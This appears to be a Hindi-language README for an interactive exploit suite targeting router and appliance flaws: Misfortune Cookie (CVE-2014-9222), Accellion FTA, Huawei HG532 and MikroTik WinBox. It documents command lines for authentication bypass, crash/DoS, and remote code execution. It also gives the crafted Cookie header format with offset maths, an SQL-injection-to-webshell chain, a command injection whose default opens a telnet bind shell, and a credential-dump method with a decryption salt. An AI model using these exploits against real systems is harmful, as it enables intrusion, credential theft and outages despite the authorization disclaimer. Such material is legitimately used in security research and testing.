
CVE-2014-9222 (Misfortune Cookie) और संबंधित राउटर शोषणों के लिए इंटरैक्टिव PoC सुइट, जिसमें डिटेक्शन, ऑथ बायपास, DoS, और RCE मॉड्यूल शामिल हैं, साथ ही कई कमजोरियों के लिए स्कैन मोड भी उपलब्ध है।
AllegroSoft RomPager के HTTP कुकी हैंडलिंग में स्टैक ओवरफ्लो (सभी संस्करण
< 4.34)। एकल अनप्रमाणित अनुरोध जिसमें निर्मित Cookie: हेडर होता है,
मेमोरी को दूषित करता है। प्रभाव: एडमिन प्रमाणीकरण बाईपास, DoS/रीबूट, और
(फर्मवेयर-विशिष्ट ऑफसेट के साथ) रिमोट कोड निष्पादन।
केवल उन हार्डवेयर के विरुद्ध उपयोग करें जिनके आप स्वामी हैं या जिनका परीक्षण करने के लिए आपको स्पष्ट रूप से अधिकृत किया गया है।
python3 main.py # फिर [1] के साथ टारगेट सेट करें
python3 main.py http://192.168.1.1
[1] टारगेट सेट / बदलें
[2] टारगेट फ़िंगरप्रिंट करें
[3] भेद्यता का पता लगाएं (सुरक्षित, गैर-विनाशकारी)
[4] प्रमाणीकरण बाईपास (मैजिक कुकी)
[5] DoS / डिवाइस को क्रैश करें (विनाशकारी)
[6] RCE सहायक - फर्मवेयर पतों से कुकी प्राप्त करें
[7] मॉडल / कुकी तालिका देखें
[8] सभी भेद्यताओं के लिए स्कैन करें (प्रोब)
[A] Accellion FTA चेन (CVE-2021-27101 / 27102)
[B] Huawei HG532 (CVE-2017-17215)
[C] MikroTik WinBox (CVE-2018-14847)
हर क्रिया पहले प्रिंट करती है कि वह क्या करेगी; DoS के लिए YES टाइप करना आवश्यक है।
प्रति-मॉडल फ़िंगरप्रिंट (realm) WWW-Authenticate हेडर से स्वतः पता लगाया जाता है
और कुकी तालिका से मिलान किया जाता है।
[8] गैर-विनाशकारी जांच के साथ चारों भेद्यता परिवारों के विरुद्ध एक होस्ट की जांच करता है
और प्रिंट करता है कि कौन से पहुंच योग्य/संभावित रूप से भेद्य हैं:
python3 scan.py http://192.168.1.1
python3 scan.py http://192.168.1.1 --winbox-port 8291 --hg532-port 37215
फिर पुष्टि की गई भेद्यता का शोषण करने के लिए संबंधित मेनू प्रविष्टि ([3]/[4]/[A]/[B]/[C]) चलाएं।
Misfortune Cookie के साथ, कंसोल तीन अन्य सामान्य एम्बेडेड/उपकरण भेद्यताओं के लिए PoC बंडल करता है:
[A] Accellion FTA (accellion_fta.py) - Mandiant द्वारा वर्णित UNC2546 चेन को पुन: प्रस्तुत करता है: निर्मित Host हेडर (/courier/oauth.api) के माध्यम से SQL इंजेक्शन द्वारा w1 सीक्रेट पुनर्प्राप्त करें, फिर eval वेबशेल लिखने के लिए admin.pl ट्रिगर करें, और इसे सत्यापित करें। 27103 (SSRF) / 27104 (पोस्ट-प्रमाणीकरण cmd निष्पादन) नोट किए गए हैं लेकिन डिफ़ॉल्ट रूप से उपयोग नहीं किए जाते।[B] Huawei HG532 (huawei_hg532.py) - NewStatusURL में $(<cmd>) के साथ /ctrlt/DeviceUpgrade_1 पर SOAP POST, HTTP Digest प्रमाणीकरण dslf-config:admin; डिफ़ॉल्ट कमांड 9999 पर telnet बाइंड शेल खोलता है।[C] MikroTik WinBox () - WinBox प्रोटोकॉल पर डायरेक्टरी-ट्रैवर्सल फ़ाइल रीड; डिफ़ॉल्ट पढ़ता है और संग्रहीत क्रेडेंशियल्स को डिक्रिप्ट करता है ( XOR)।सभी अतिरिक्त PoC के लिए कंसोल में स्पष्ट पुष्टि आवश्यक है।
python3 detect.py http://192.168.1.1 # सुरक्षित जांच
python3 auth_bypass.py http://192.168.1.1 # मॉडल स्वतः पता लगाया गया
python3 auth_bypass.py http://192.168.1.1 --restore # प्रमाणीकरण पुनः सक्षम करें
python3 auth_bypass.py http://192.168.1.1 --all # सभी ज्ञात कुकीज़ आज़माएं
python3 auth_bypass.py http://192.168.1.1 --brute # संपूर्ण (बहुत धीमा, क्रैश करता है)
python3 dos.py http://192.168.1.1 # क्रैश / रीबूट (विनाशकारी)
python3 rce/derive_cookie.py 0x803E9A40 0x803AB30D # पते -> (num, pad)
Cookie: C<evilnum>=<pad "B" बाइट्स><payload>;
evilnum और pad फर्मवेयर-विशिष्ट हैं। evilnum RomPager की
0x28-बाइट कुकी सरणी को अनुक्रमित करता है (C_Array + evilnum*0x28 + pad = अधिलेखित
पता)। exploitdb 39739 और Metasploit
allegro_rompager_auth_bypass मॉड्यूल से विलय की गई प्रति-मॉडल तालिका common.py में है।
एक सटीक फर्मवेयर छवि की आवश्यकता है। चरण (देखें rce/README.md): binwalk के साथ rootfs निकालें, बफर -> सहेजे गए $ra डेल्टा खोजने के लिए Ghidra में कुकी पार्सर को रिवर्स करें, derive_cookie.py के साथ (num, pad) प्राप्त करें, लाइव टारगेट को छूने से पहले QEMU-अनुकरणित छवि के विरुद्ध MIPS शेलकोड को मान्य करें।
auxiliary/scanner/http/allegro_rompager_misfortune_cookie
और auxiliary/admin/http/allegro_rompager_auth_bypass| भेद्यता | CVE | प्रोब क्या करता है |
|---|
| RomPager | CVE-2014-9222 | HTTP बैनर + संस्करण बनाम 4.34 |
| Huawei HG532 | CVE-2017-17215 | SOAP एंडपॉइंट सक्रिय + Digest realm |
| MikroTik WinBox | CVE-2018-14847 | लाइव WinBox फ़ाइलरीड (क्रेडेंशियल डंप) |
| Accellion FTA | CVE-2021-27101/104 | Accellion/oauth.api फ़िंगरप्रिंट |
| मेनू | CVE | टारगेट | पोर्ट |
|---|
[A] | CVE-2021-27101/27102 | Accellion FTA | 80 |
[B] | CVE-2017-17215 | Huawei HG532 | 37215 |
[C] | CVE-2018-14847 | MikroTik WinBox | 8291 |
mikrotik_winbox.pyflash/rw/store/user.datmd5(user + "283i4jfkai3389")| फ़ाइल | उद्देश्य |
|---|
main.py | इंटरैक्टिव कंसोल |
ui.py | बैनर + UI सहायक (header/info/warn/err/success/prompt/confirm) |
common.py | फ़िंगरप्रिंटिंग, मैजिक-कुकी बिल्डर, प्रति-मॉडल (num, pad) तालिका |
detect.py | गैर-विनाशकारी भेद्यता जांच (संस्करण + canary-कुकी) |
scan.py | चारों भेद्यता परिवारों के विरुद्ध टारगेट की जांच करें (विकल्प 8) |
auth_bypass.py | realm स्वतः-पता लगाने के साथ मैजिक-कुकी प्रमाणीकरण बाईपास |
dos.py | अत्यधिक-बड़ी कुकी स्टैक स्मैश -> वॉचडॉग रीबूट |
accellion_fta.py | CVE-2021-27101/27102 SQLi -> वेबशेल चेन |
huawei_hg532.py | CVE-2017-17215 SOAP कमांड इंजेक्शन |
mikrotik_winbox.py | CVE-2018-14847 WinBox फ़ाइल रीड / क्रेडेंशियल डंप |
rce/derive_cookie.py | C_Array + टारगेट पते को (num, pad) में बदलें |
rce/README.md | पूर्ण RCE पद्धति + शोषण गणित |
rce/references/ | 31C3 स्लाइड्स, NCC व्हाइटपेपर, demystified राइटअप, लेआउट तालिकाएं |